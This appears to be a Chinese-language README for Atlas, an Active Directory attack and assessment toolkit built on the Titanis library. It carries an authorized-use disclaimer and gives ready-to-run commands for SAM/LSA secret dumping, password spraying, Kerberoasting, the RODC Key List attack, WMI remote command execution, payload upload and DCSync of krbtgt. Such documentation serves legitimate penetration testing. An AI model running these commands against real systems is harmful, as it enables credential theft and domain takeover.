Atlas 是一款基于 TrustedSec 的 Titanis 协议库构建的跨平台(Windows/Linux)网络执行与安全评估工具包。其设计灵感源自 NetExec/CrackMapExec 的工作流程:目标列表、凭据集、模块化枚举,以及紧凑的 [HH:mm:ss] [+] host - message 控制台输出。
本工具仅用于授权安全测试。请仅对您拥有明确测试许可的系统使用。
| 协议 | 能力 |
|---|---|
smb | 认证检查(NTLM/Kerberos/匿名)、共享、用户、组、磁盘、通过 SRVS/SAMR RPC 的会话;通过远程注册表进行 SAM 与 LSA 机密转储;通过 SMB2/3 进行目录列举、get/put/mkdir/rm |
kerberos | 用户枚举(AS-REQ 分类)、预认证 / AS-REP 可爆破检测、Kerberoasting(hashcat 格式输出)、针对 RODC 的 Key List 攻击 |
wmi | 通过 DCOM/WMI 进行认证检查、通过 Win32_Process.Create 执行远程命令 |
ldap | 认证检查(SASL 或 RFC 4511 简单绑定)、带属性选择的分页子树查询 |
dcsync | 通过 [MS-DRSR](IDL_DRSGetNCChanges + EXOP_REPL_OBJ)从域控复制凭据材料 |
所有协议通用:
a.b.c.d-e)、逗号列表、@file.kirbi/.ccache 票据、PKINIT 证书、S4U、SPN 覆盖、SOCKS5本仓库将 Titanis 源码内置在 external/Titanis 下,并作为解决方案的一部分进行构建。
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
生成的二进制文件是一个框架依赖的 .NET 应用程序:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
目标指定支持以下任意组合:HOST、10.0.0.5、192.168.1.0/24、10.0.0.1-64、逗号分隔列表,或 @targets.txt。
# 仅凭据检查
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# 枚举
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# SAM / LSA 转储(需要本地管理员权限)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# 文件操作
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# 模块
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess
atlas smb 10.0.0.5 -u admin -p pass -M localadmins
# 密码喷洒
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# 用户枚举(无需凭据)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting(需要任意域凭据)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# 针对 RODC 的 Key List 攻击
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # 认证检查
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # 执行命令
# SASL(NTLM/Kerberos)绑定 - 通常用于 Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# RFC 4511 简单绑定 - 通常用于 OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'
运行 atlas <protocol> -h 获取完整的参数参考。
Atlas.sln
Directory.Build.props 有意的空操作(见说明)
src/
Atlas.props 共享构建设置(由 Atlas 项目显式导入)
Atlas.Core/ 目标解析、控制台输出、模块注册表
Atlas.Protocols.Smb/ SMB 主机 + 模块
Atlas.Protocols.Kerberos/ AS-REQ 枚举、roasting、Key List 攻击
Atlas.Protocols.Wmi/ WMI/DCOM 主机
Atlas.Protocols.Ldap/ LDAP 主机
Atlas.Protocols.Drsr/ DCSync
Atlas.Cli/ 入口点 / 协议分发器
external/Titanis/ 内置的 Titanis 源码(从源码构建;不在 NuGet 上)
说明: 仓库根目录下的
Directory.Build.props有意保持为空。Titanis 的构建会导入$(SolutionDir)Directory.Build.props;从本解决方案构建时该文件必须存在,但必须保持为空,以免上游设置泄漏到内置源码树中。
本项目链接并分发 TrustedSec 的 Titanis 源码,其采用 GPL-3.0 许可证。因此,本项目以 GPL-3.0 许可证分发。详见 external/Titanis/LICENSE。
| 模块 | 协议 | 描述 |
|---|
spider | smb | 递归共享爬取器(depth、maxfiles、match 选项) |
shareaccess | smb | 按共享的 READ/WRITE 访问检查 |
localadmins | smb | 通过 SAMR 获取本地 Administrators 组成员,名称通过 LSA 解析 |
| 选项 | 含义 |
|---|
-u, -UserName | 用户名(user、DOMAIN\user 或 user@realm) |
-p, -Password | 密码 |
-NtlmHash | NT 哈希(NTLM + Kerberos RC4) |
-AesKey | AES128/AES256 Kerberos 密钥 |
-Kdc | Kerberos 的 KDC 端点 |
-Tgt / -TicketCache / -Tickets | .kirbi / .ccache 票据输入 |
-Keytab | keytab 文件 |
-UserCert(+-UserKey) | PKINIT 证书认证 |
-Anonymous | 空会话 |
-ha | 主机地址覆盖(在目标位置使用 FQDN,此处填写 IP 以获得正确的 SPN) |